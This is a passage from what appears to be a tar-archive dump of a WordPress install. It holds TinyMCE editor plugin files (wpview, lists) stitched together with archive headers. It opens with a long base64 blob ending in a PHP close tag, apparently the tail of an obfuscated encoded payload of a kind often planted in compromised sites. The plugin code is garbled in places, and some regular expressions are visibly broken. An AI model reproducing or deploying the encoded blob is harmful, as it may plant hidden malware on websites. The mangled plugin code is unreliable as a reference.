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");?>wpview/plugin.min.js000060400000005526151734645250010523 0ustar00!function(c){c.PluginManager.add("wpview",function(o){function e(){}var n=window.wp;return n&&n.mce&&n.mce.views&&(o.on("init",function(){var e=window.MutationObserver||window.WebKitMutationObserver;e&&new e(function(){o.fire("wp-body-class-change")}).observe(o.getBody(),{attributes:!0,attributeFilter:["class"]}),o.on("wp-body-class-change",function(){var n=o.getBody().className;o.$('iframe[class="wpview-sandbox"]').each(function(e,t){if(!t.src||'javascript:""'===t.src)try{t.contentWindow.document.body.className=n}catch(e){}})})}),o.on("beforesetcontent",function(e){var t;if(e.selection||n.mce.views.unbind(),e.content){if(!e.load&&(t=o.selection.getNode())&&t!==o.getBody()&&/^\s*https?:\/\/\S+\s*$/i.test(e.content)){if(!(t=o.dom.getParent(t,"p"))||!/^[\s\uFEFF\u00A0]*$/.test(o.$(t).text()||""))return;t.innerHTML=""}e.content=n.mce.views.setMarkers(e.content,o)}}),o.on("setcontent",function(){n.mce.views.render()}),o.on("preprocess hide",function(e){o.$("div[data-wpview-text], p[data-wpview-marker]",e.node).each(function(e,t){t.innerHTML="."})},!0),o.on("postprocess",function(e){e.content=a(e.content)}),o.on("beforeaddundo",function(e){var t=e.level.content||e.level.fragments&&e.level.fragments.join(""),n=e.lastLevel?e.lastLevel.content||e.lastLevel.fragments&&e.lastLevel.fragments.join(""):o.startContent;t&&n&&-1!==t.indexOf(" data-wpview-")&&-1!==n.indexOf(" data-wpview-")&&a(n)===a(t)&&e.preventDefault()}),o.on("drop objectselected",function(e){i(e.targetClone)&&(e.targetClone=o.getDoc().createTextNode(window.decodeURIComponent(o.dom.getAttrib(e.targetClone,"data-wpview-text"))))}),o.on("pastepreprocess",function(e){var t=e.content;t&&(t=c.trim(t.replace(/<[^>]+>/g,"")),/^https?:\/\/\S+$/i.test(t))&&(e.content=t)}),o.on("resolvename",function(e){i(e.target)&&(e.name=o.dom.getAttrib(e.target,"data-wpview-type")||"object")}),o.on("click keyup",function(){var e=o.selection.getNode();i(e)&&o.dom.getAttrib(e,"data-mce-selected")&&e.setAttribute("data-mce-selected","2")}),o.addButton("wp_view_edit",{tooltip:"Edit|button",icon:"dashicon dashicons-edit",onclick:function(){var e=o.selection.getNode();i(e)&&n.mce.views.edit(o,e)}}),o.addButton("wp_view_remove",{tooltip:"Remove",icon:"dashicon dashicons-no",onclick:function(){o.fire("cut")}}),o.once("preinit",function(){var t;o.wp&&o.wp._createToolbar&&(t=o.wp._createToolbar(["wp_view_edit","wp_view_remove"]),o.on("wptoolbar",function(e){!e.collapsed&&i(e.element)&&(e.toolbar=t)}))}),o.wp=o.wp||{},o.wp.getView=e,o.wp.setViewCursor=e),{getView:e};function i(e){return o.dom.hasClass(e,"wpview")}function a(e){function t(e,t){return"

"+window.decodeURIComponent(t)+"

"}return e&&-1!==e.indexOf(" data-wpview-")?e.replace(/]+data-wpview-text="([^"]+)"[^>]*>(?:\.|[\s\S]+?wpview-end[^>]+>\s*<\/span>\s*)?<\/div>/g,t).replace(/]+data-wpview-marker="([^"]+)"[^>]*>[\s\S]*?<\/p>/g,t):e}})}(window.tinymce);wpview/plugin.js000060400000013703151734645250007735 0ustar00/** * WordPress View plugin. */ ( function( tinymce ) { tinymce.PluginManager.add( 'wpview', function( editor ) { function noop () {} // Set this here as wp-tinymce.js may be loaded too early. var wp = window.wp; if ( ! wp || ! wp.mce || ! wp.mce.views ) { return { getView: noop }; } // Check if a node is a view or not. function isView( node ) { return editor.dom.hasClass( node, 'wpview' ); } // Replace view tags with their text. function resetViews( content ) { function callback( match, $1 ) { return '

' + window.decodeURIComponent( $1 ) + '

'; } if ( ! content || content.indexOf( ' data-wpview-' ) === -1 ) { return content; } return content .replace( /]+data-wpview-text="([^"]+)"[^>]*>(?:\.|[\s\S]+?wpview-end[^>]+>\s*<\/span>\s*)?<\/div>/g, callback ) .replace( /]+data-wpview-marker="([^"]+)"[^>]*>[\s\S]*?<\/p>/g, callback ); } editor.on( 'init', function() { var MutationObserver = window.MutationObserver || window.WebKitMutationObserver; if ( MutationObserver ) { new MutationObserver( function() { editor.fire( 'wp-body-class-change' ); } ) .observe( editor.getBody(), { attributes: true, attributeFilter: ['class'] } ); } // Pass on body class name changes from the editor to the wpView iframes. editor.on( 'wp-body-class-change', function() { var className = editor.getBody().className; editor.$( 'iframe[class="wpview-sandbox"]' ).each( function( i, iframe ) { // Make sure it is a local iframe. // jshint scripturl: true if ( ! iframe.src || iframe.src === 'javascript:""' ) { try { iframe.contentWindow.document.body.className = className; } catch( er ) {} } }); } ); }); // Scan new content for matching view patterns and replace them with markers. editor.on( 'beforesetcontent', function( event ) { var node; if ( ! event.selection ) { wp.mce.views.unbind(); } if ( ! event.content ) { return; } if ( ! event.load ) { node = editor.selection.getNode(); if ( node && node !== editor.getBody() && /^\s*https?:\/\/\S+\s*$/i.test( event.content ) ) { // When a url is pasted or inserted, only try to embed it when it is in an empty paragraph. node = editor.dom.getParent( node, 'p' ); if ( node && /^[\s\uFEFF\u00A0]*$/.test( editor.$( node ).text() || '' ) ) { // Make sure there are no empty inline elements in the

. node.innerHTML = ''; } else { return; } } } event.content = wp.mce.views.setMarkers( event.content, editor ); } ); // Replace any new markers nodes with views. editor.on( 'setcontent', function() { wp.mce.views.render(); } ); // Empty view nodes for easier processing. editor.on( 'preprocess hide', function( event ) { editor.$( 'div[data-wpview-text], p[data-wpview-marker]', event.node ).each( function( i, node ) { node.innerHTML = '.'; } ); }, true ); // Replace views with their text. editor.on( 'postprocess', function( event ) { event.content = resetViews( event.content ); } ); // Prevent adding of undo levels when replacing wpview markers // or when there are changes only in the (non-editable) previews. editor.on( 'beforeaddundo', function( event ) { var lastContent; var newContent = event.level.content || ( event.level.fragments && event.level.fragments.join( '' ) ); if ( ! event.lastLevel ) { lastContent = editor.startContent; } else { lastContent = event.lastLevel.content || ( event.lastLevel.fragments && event.lastLevel.fragments.join( '' ) ); } if ( ! newContent || ! lastContent || newContent.indexOf( ' data-wpview-' ) === -1 || lastContent.indexOf( ' data-wpview-' ) === -1 ) { return; } if ( resetViews( lastContent ) === resetViews( newContent ) ) { event.preventDefault(); } } ); // Make sure views are copied as their text. editor.on( 'drop objectselected', function( event ) { if ( isView( event.targetClone ) ) { event.targetClone = editor.getDoc().createTextNode( window.decodeURIComponent( editor.dom.getAttrib( event.targetClone, 'data-wpview-text' ) ) ); } } ); // Clean up URLs for easier processing. editor.on( 'pastepreprocess', function( event ) { var content = event.content; if ( content ) { content = tinymce.trim( content.replace( /<[^>]+>/g, '' ) ); if ( /^https?:\/\/\S+$/i.test( content ) ) { event.content = content; } } } ); // Show the view type in the element path. editor.on( 'resolvename', function( event ) { if ( isView( event.target ) ) { event.name = editor.dom.getAttrib( event.target, 'data-wpview-type' ) || 'object'; } } ); // See `media` plugin. editor.on( 'click keyup', function() { var node = editor.selection.getNode(); if ( isView( node ) ) { if ( editor.dom.getAttrib( node, 'data-mce-selected' ) ) { node.setAttribute( 'data-mce-selected', '2' ); } } } ); editor.addButton( 'wp_view_edit', { tooltip: 'Edit|button', // '|button' is not displayed, only used for context. icon: 'dashicon dashicons-edit', onclick: function() { var node = editor.selection.getNode(); if ( isView( node ) ) { wp.mce.views.edit( editor, node ); } } } ); editor.addButton( 'wp_view_remove', { tooltip: 'Remove', icon: 'dashicon dashicons-no', onclick: function() { editor.fire( 'cut' ); } } ); editor.once( 'preinit', function() { var toolbar; if ( editor.wp && editor.wp._createToolbar ) { toolbar = editor.wp._createToolbar( [ 'wp_view_edit', 'wp_view_remove' ] ); editor.on( 'wptoolbar', function( event ) { if ( ! event.collapsed && isView( event.element ) ) { event.toolbar = toolbar; } } ); } } ); editor.wp = editor.wp || {}; editor.wp.getView = noop; editor.wp.setViewCursor = noop; return { getView: noop }; } ); } )( window.tinymce ); lists/plugin.js000060400000211417151734645250007554 0ustar00(function () { var lists = (function (domGlobals) { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils'); var global$2 = tinymce.util.Tools.resolve('tinymce.dom.TreeWalker'); var global$3 = tinymce.util.Tools.resolve('tinymce.util.VK'); var global$4 = tinymce.util.Tools.resolve('tinymce.dom.BookmarkManager'); var global$5 = tinymce.util.Tools.resolve('tinymce.util.Tools'); var global$6 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils'); var isTextNode = function (node) { return node && node.nodeType === 3; }; var isListNode = function (node) { return node && /^(OL|UL|DL)$/.test(node.nodeName); }; var isOlUlNode = function (node) { return node && /^(OL|UL)$/.test(node.nodeName); }; var isListItemNode = function (node) { return node && /^(LI|DT|DD)$/.test(node.nodeName); }; var isDlItemNode = function (node) { return node && /^(DT|DD)$/.test(node.nodeName); }; var isTableCellNode = function (node) { return node && /^(TH|TD)$/.test(node.nodeName); }; var isBr = function (node) { return node && node.nodeName === 'BR'; }; var isFirstChild = function (node) { return node.parentNode.firstChild === node; }; var isLastChild = function (node) { return node.parentNode.lastChild === node; }; var isTextBlock = function (editor, node) { return node && !!editor.schema.getTextBlockElements()[node.nodeName]; }; var isBlock = function (node, blockElements) { return node && node.nodeName in blockElements; }; var isBogusBr = function (dom, node) { if (!isBr(node)) { return false; } if (dom.isBlock(node.nextSibling) && !isBr(node.previousSibling)) { return true; } return false; }; var isEmpty = function (dom, elm, keepBookmarks) { var empty = dom.isEmpty(elm); if (keepBookmarks && dom.select('span[data-mce-type=bookmark]', elm).length > 0) { return false; } return empty; }; var isChildOfBody = function (dom, elm) { return dom.isChildOf(elm, dom.getRoot()); }; var NodeType = { isTextNode: isTextNode, isListNode: isListNode, isOlUlNode: isOlUlNode, isDlItemNode: isDlItemNode, isListItemNode: isListItemNode, isTableCellNode: isTableCellNode, isBr: isBr, isFirstChild: isFirstChild, isLastChild: isLastChild, isTextBlock: isTextBlock, isBlock: isBlock, isBogusBr: isBogusBr, isEmpty: isEmpty, isChildOfBody: isChildOfBody }; var getNormalizedPoint = function (container, offset) { if (NodeType.isTextNode(container)) { return { container: container, offset: offset }; } var node = global$1.getNode(container, offset); if (NodeType.isTextNode(node)) { return { container: node, offset: offset >= container.childNodes.length ? node.data.length : 0 }; } else if (node.previousSibling && NodeType.isTextNode(node.previousSibling)) { return { container: node.previousSibling, offset: node.previousSibling.data.length }; } else if (node.nextSibling && NodeType.isTextNode(node.nextSibling)) { return { container: node.nextSibling, offset: 0 }; } return { container: container, offset: offset }; }; var normalizeRange = function (rng) { var outRng = rng.cloneRange(); var rangeStart = getNormalizedPoint(rng.startContainer, rng.startOffset); outRng.setStart(rangeStart.container, rangeStart.offset); var rangeEnd = getNormalizedPoint(rng.endContainer, rng.endOffset); outRng.setEnd(rangeEnd.container, rangeEnd.offset); return outRng; }; var Range = { getNormalizedPoint: getNormalizedPoint, normalizeRange: normalizeRange }; var DOM = global$6.DOM; var createBookmark = function (rng) { var bookmark = {}; var setupEndPoint = function (start) { var offsetNode, container, offset; container = rng[start ? 'startContainer' : 'endContainer']; offset = rng[start ? 'startOffset' : 'endOffset']; if (container.nodeType === 1) { offsetNode = DOM.create('span', { 'data-mce-type': 'bookmark' }); if (container.hasChildNodes()) { offset = Math.min(offset, container.childNodes.length - 1); if (start) { container.insertBefore(offsetNode, container.childNodes[offset]); } else { DOM.insertAfter(offsetNode, container.childNodes[offset]); } } else { container.appendChild(offsetNode); } container = offsetNode; offset = 0; } bookmark[start ? 'startContainer' : 'endContainer'] = container; bookmark[start ? 'startOffset' : 'endOffset'] = offset; }; setupEndPoint(true); if (!rng.collapsed) { setupEndPoint(); } return bookmark; }; var resolveBookmark = function (bookmark) { function restoreEndPoint(start) { var container, offset, node; var nodeIndex = function (container) { var node = container.parentNode.firstChild, idx = 0; while (node) { if (node === container) { return idx; } if (node.nodeType !== 1 || node.getAttribute('data-mce-type') !== 'bookmark') { idx++; } node = node.nextSibling; } return -1; }; container = node = bookmark[start ? 'startContainer' : 'endContainer']; offset = bookmark[start ? 'startOffset' : 'endOffset']; if (!container) { return; } if (container.nodeType === 1) { offset = nodeIndex(container); container = container.parentNode; DOM.remove(node); if (!container.hasChildNodes() && DOM.isBlock(container)) { container.appendChild(DOM.create('br')); } } bookmark[start ? 'startContainer' : 'endContainer'] = container; bookmark[start ? 'startOffset' : 'endOffset'] = offset; } restoreEndPoint(true); restoreEndPoint(); var rng = DOM.createRng(); rng.setStart(bookmark.startContainer, bookmark.startOffset); if (bookmark.endContainer) { rng.setEnd(bookmark.endContainer, bookmark.endOffset); } return Range.normalizeRange(rng); }; var Bookmark = { createBookmark: createBookmark, resolveBookmark: resolveBookmark }; var noop = function () { }; var constant = function (value) { return function () { return value; }; }; var not = function (f) { return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } return !f.apply(null, args); }; }; var never = constant(false); var always = constant(true); var none = function () { return NONE; }; var NONE = function () { var eq = function (o) { return o.isNone(); }; var call = function (thunk) { return thunk(); }; var id = function (n) { return n; }; var me = { fold: function (n, s) { return n(); }, is: never, isSome: never, isNone: always, getOr: id, getOrThunk: call, getOrDie: function (msg) { throw new Error(msg || 'error: getOrDie called on none.'); }, getOrNull: constant(null), getOrUndefined: constant(undefined), or: id, orThunk: call, map: none, each: noop, bind: none, exists: never, forall: always, filter: none, equals: eq, equals_: eq, toArray: function () { return []; }, toString: constant('none()') }; if (Object.freeze) { Object.freeze(me); } return me; }(); var some = function (a) { var constant_a = constant(a); var self = function () { return me; }; var bind = function (f) { return f(a); }; var me = { fold: function (n, s) { return s(a); }, is: function (v) { return a === v; }, isSome: always, isNone: never, getOr: constant_a, getOrThunk: constant_a, getOrDie: constant_a, getOrNull: constant_a, getOrUndefined: constant_a, or: self, orThunk: self, map: function (f) { return some(f(a)); }, each: function (f) { f(a); }, bind: bind, exists: bind, forall: bind, filter: function (f) { return f(a) ? me : NONE; }, toArray: function () { return [a]; }, toString: function () { return 'some(' + a + ')'; }, equals: function (o) { return o.is(a); }, equals_: function (o, elementEq) { return o.fold(never, function (b) { return elementEq(a, b); }); } }; return me; }; var from = function (value) { return value === null || value === undefined ? NONE : some(value); }; var Option = { some: some, none: none, from: from }; var typeOf = function (x) { if (x === null) { return 'null'; } var t = typeof x; if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) { return 'array'; } if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) { return 'string'; } return t; }; var isType = function (type) { return function (value) { return typeOf(value) === type; }; }; var isString = isType('string'); var isArray = isType('array'); var isBoolean = isType('boolean'); var isFunction = isType('function'); var isNumber = isType('number'); var nativeSlice = Array.prototype.slice; var nativePush = Array.prototype.push; var map = function (xs, f) { var len = xs.length; var r = new Array(len); for (var i = 0; i < len; i++) { var x = xs[i]; r[i] = f(x, i); } return r; }; var each = function (xs, f) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; f(x, i); } }; var filter = function (xs, pred) { var r = []; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { r.push(x); } } return r; }; var groupBy = function (xs, f) { if (xs.length === 0) { return []; } else { var wasType = f(xs[0]); var r = []; var group = []; for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; var type = f(x); if (type !== wasType) { r.push(group); group = []; } wasType = type; group.push(x); } if (group.length !== 0) { r.push(group); } return r; } }; var foldl = function (xs, f, acc) { each(xs, function (x) { acc = f(acc, x); }); return acc; }; var find = function (xs, pred) { for (var i = 0, len = xs.length; i < len; i++) { var x = xs[i]; if (pred(x, i)) { return Option.some(x); } } return Option.none(); }; var flatten = function (xs) { var r = []; for (var i = 0, len = xs.length; i < len; ++i) { if (!isArray(xs[i])) { throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs); } nativePush.apply(r, xs[i]); } return r; }; var bind = function (xs, f) { var output = map(xs, f); return flatten(output); }; var reverse = function (xs) { var r = nativeSlice.call(xs, 0); r.reverse(); return r; }; var head = function (xs) { return xs.length === 0 ? Option.none() : Option.some(xs[0]); }; var last = function (xs) { return xs.length === 0 ? Option.none() : Option.some(xs[xs.length - 1]); }; var from$1 = isFunction(Array.from) ? Array.from : function (x) { return nativeSlice.call(x); }; var Global = typeof domGlobals.window !== 'undefined' ? domGlobals.window : Function('return this;')(); var path = function (parts, scope) { var o = scope !== undefined && scope !== null ? scope : Global; for (var i = 0; i < parts.length && o !== undefined && o !== null; ++i) { o = o[parts[i]]; } return o; }; var resolve = function (p, scope) { var parts = p.split('.'); return path(parts, scope); }; var unsafe = function (name, scope) { return resolve(name, scope); }; var getOrDie = function (name, scope) { var actual = unsafe(name, scope); if (actual === undefined || actual === null) { throw new Error(name + ' not available on this browser'); } return actual; }; var Global$1 = { getOrDie: getOrDie }; var htmlElement = function (scope) { return Global$1.getOrDie('HTMLElement', scope); }; var isPrototypeOf = function (x) { var scope = resolve('ownerDocument.defaultView', x); return htmlElement(scope).prototype.isPrototypeOf(x); }; var HTMLElement = { isPrototypeOf: isPrototypeOf }; var global$7 = tinymce.util.Tools.resolve('tinymce.dom.DomQuery'); var getParentList = function (editor) { var selectionStart = editor.selection.getStart(true); return editor.dom.getParent(selectionStart, 'OL,UL,DL', getClosestListRootElm(editor, selectionStart)); }; var isParentListSelected = function (parentList, selectedBlocks) { return parentList && selectedBlocks.length === 1 && selectedBlocks[0] === parentList; }; var findSubLists = function (parentList) { return global$5.grep(parentList.querySelectorAll('ol,ul,dl'), function (elm) { return NodeType.isListNode(elm); }); }; var getSelectedSubLists = function (editor) { var parentList = getParentList(editor); var selectedBlocks = editor.selection.getSelectedBlocks(); if (isParentListSelected(parentList, selectedBlocks)) { return findSubLists(parentList); } else { return global$5.grep(selectedBlocks, function (elm) { return NodeType.isListNode(elm) && parentList !== elm; }); } }; var findParentListItemsNodes = function (editor, elms) { var listItemsElms = global$5.map(elms, function (elm) { var parentLi = editor.dom.getParent(elm, 'li,dd,dt', getClosestListRootElm(editor, elm)); return parentLi ? parentLi : elm; }); return global$7.unique(listItemsElms); }; var getSelectedListItems = function (editor) { var selectedBlocks = editor.selection.getSelectedBlocks(); return global$5.grep(findParentListItemsNodes(editor, selectedBlocks), function (block) { return NodeType.isListItemNode(block); }); }; var getSelectedDlItems = function (editor) { return filter(getSelectedListItems(editor), NodeType.isDlItemNode); }; var getClosestListRootElm = function (editor, elm) { var parentTableCell = editor.dom.getParents(elm, 'TD,TH'); var root = parentTableCell.length > 0 ? parentTableCell[0] : editor.getBody(); return root; }; var findLastParentListNode = function (editor, elm) { var parentLists = editor.dom.getParents(elm, 'ol,ul', getClosestListRootElm(editor, elm)); return last(parentLists); }; var getSelectedLists = function (editor) { var firstList = findLastParentListNode(editor, editor.selection.getStart()); var subsequentLists = filter(editor.selection.getSelectedBlocks(), NodeType.isOlUlNode); return firstList.toArray().concat(subsequentLists); }; var getSelectedListRoots = function (editor) { var selectedLists = getSelectedLists(editor); return getUniqueListRoots(editor, selectedLists); }; var getUniqueListRoots = function (editor, lists) { var listRoots = map(lists, function (list) { return findLastParentListNode(editor, list).getOr(list); }); return global$7.unique(listRoots); }; var isList = function (editor) { var list = getParentList(editor); return HTMLElement.isPrototypeOf(list); }; var Selection = { isList: isList, getParentList: getParentList, getSelectedSubLists: getSelectedSubLists, getSelectedListItems: getSelectedListItems, getClosestListRootElm: getClosestListRootElm, getSelectedDlItems: getSelectedDlItems, getSelectedListRoots: getSelectedListRoots }; var fromHtml = function (html, scope) { var doc = scope || domGlobals.document; var div = doc.createElement('div'); div.innerHTML = html; if (!div.hasChildNodes() || div.childNodes.length > 1) { domGlobals.console.error('HTML does not have a single root node', html); throw new Error('HTML must have a single root node'); } return fromDom(div.childNodes[0]); }; var fromTag = function (tag, scope) { var doc = scope || domGlobals.document; var node = doc.createElement(tag); return fromDom(node); }; var fromText = function (text, scope) { var doc = scope || domGlobals.document; var node = doc.createTextNode(text); return fromDom(node); }; var fromDom = function (node) { if (node === null || node === undefined) { throw new Error('Node cannot be null or undefined'); } return { dom: constant(node) }; }; var fromPoint = function (docElm, x, y) { var doc = docElm.dom(); return Option.from(doc.elementFromPoint(x, y)).map(fromDom); }; var Element = { fromHtml: fromHtml, fromTag: fromTag, fromText: fromText, fromDom: fromDom, fromPoint: fromPoint }; var lift2 = function (oa, ob, f) { return oa.isSome() && ob.isSome() ? Option.some(f(oa.getOrDie(), ob.getOrDie())) : Option.none(); }; var fromElements = function (elements, scope) { var doc = scope || domGlobals.document; var fragment = doc.createDocumentFragment(); each(elements, function (element) { fragment.appendChild(element.dom()); }); return Element.fromDom(fragment); }; var Immutable = function () { var fields = []; for (var _i = 0; _i < arguments.length; _i++) { fields[_i] = arguments[_i]; } return function () { var values = []; for (var _i = 0; _i < arguments.length; _i++) { values[_i] = arguments[_i]; } if (fields.length !== values.length) { throw new Error('Wrong number of arguments to struct. Expected "[' + fields.length + ']", got ' + values.length + ' arguments'); } var struct = {}; each(fields, function (name, i) { struct[name] = constant(values[i]); }); return struct; }; }; var keys = Object.keys; var each$1 = function (obj, f) { var props = keys(obj); for (var k = 0, len = props.length; k < len; k++) { var i = props[k]; var x = obj[i]; f(x, i); } }; var node = function () { var f = Global$1.getOrDie('Node'); return f; }; var compareDocumentPosition = function (a, b, match) { return (a.compareDocumentPosition(b) & match) !== 0; }; var documentPositionPreceding = function (a, b) { return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_PRECEDING); }; var documentPositionContainedBy = function (a, b) { return compareDocumentPosition(a, b, node().DOCUMENT_POSITION_CONTAINED_BY); }; var Node = { documentPositionPreceding: documentPositionPreceding, documentPositionContainedBy: documentPositionContainedBy }; var cached = function (f) { var called = false; var r; return function () { var args = []; for (var _i = 0; _i < arguments.length; _i++) { args[_i] = arguments[_i]; } if (!called) { called = true; r = f.apply(null, args); } return r; }; }; var firstMatch = function (regexes, s) { for (var i = 0; i < regexes.length; i++) { var x = regexes[i]; if (x.test(s)) { return x; } } return undefined; }; var find$1 = function (regexes, agent) { var r = firstMatch(regexes, agent); if (!r) { return { major: 0, minor: 0 }; } var group = function (i) { return Number(agent.replace(r, '$' + i)); }; return nu(group(1), group(2)); }; var detect = function (versionRegexes, agent) { var cleanedAgent = String(agent).toLowerCase(); if (versionRegexes.length === 0) { return unknown(); } return find$1(versionRegexes, cleanedAgent); }; var unknown = function () { return nu(0, 0); }; var nu = function (major, minor) { return { major: major, minor: minor }; }; var Version = { nu: nu, detect: detect, unknown: unknown }; var edge = 'Edge'; var chrome = 'Chrome'; var ie = 'IE'; var opera = 'Opera'; var firefox = 'Firefox'; var safari = 'Safari'; var isBrowser = function (name, current) { return function () { return current === name; }; }; var unknown$1 = function () { return nu$1({ current: undefined, version: Version.unknown() }); }; var nu$1 = function (info) { var current = info.current; var version = info.version; return { current: current, version: version, isEdge: isBrowser(edge, current), isChrome: isBrowser(chrome, current), isIE: isBrowser(ie, current), isOpera: isBrowser(opera, current), isFirefox: isBrowser(firefox, current), isSafari: isBrowser(safari, current) }; }; var Browser = { unknown: unknown$1, nu: nu$1, edge: constant(edge), chrome: constant(chrome), ie: constant(ie), opera: constant(opera), firefox: constant(firefox), safari: constant(safari) }; var windows = 'Windows'; var ios = 'iOS'; var android = 'Android'; var linux = 'Linux'; var osx = 'OSX'; var solaris = 'Solaris'; var freebsd = 'FreeBSD'; var isOS = function (name, current) { return function () { return current === name; }; }; var unknown$2 = function () { return nu$2({ current: undefined, version: Version.unknown() }); }; var nu$2 = function (info) { var current = info.current; var version = info.version; return { current: current, version: version, isWindows: isOS(windows, current), isiOS: isOS(ios, current), isAndroid: isOS(android, current), isOSX: isOS(osx, current), isLinux: isOS(linux, current), isSolaris: isOS(solaris, current), isFreeBSD: isOS(freebsd, current) }; }; var OperatingSystem = { unknown: unknown$2, nu: nu$2, windows: constant(windows), ios: constant(ios), android: constant(android), linux: constant(linux), osx: constant(osx), solaris: constant(solaris), freebsd: constant(freebsd) }; var DeviceType = function (os, browser, userAgent) { var isiPad = os.isiOS() && /ipad/i.test(userAgent) === true; var isiPhone = os.isiOS() && !isiPad; var isAndroid3 = os.isAndroid() && os.version.major === 3; var isAndroid4 = os.isAndroid() && os.version.major === 4; var isTablet = isiPad || isAndroid3 || isAndroid4 && 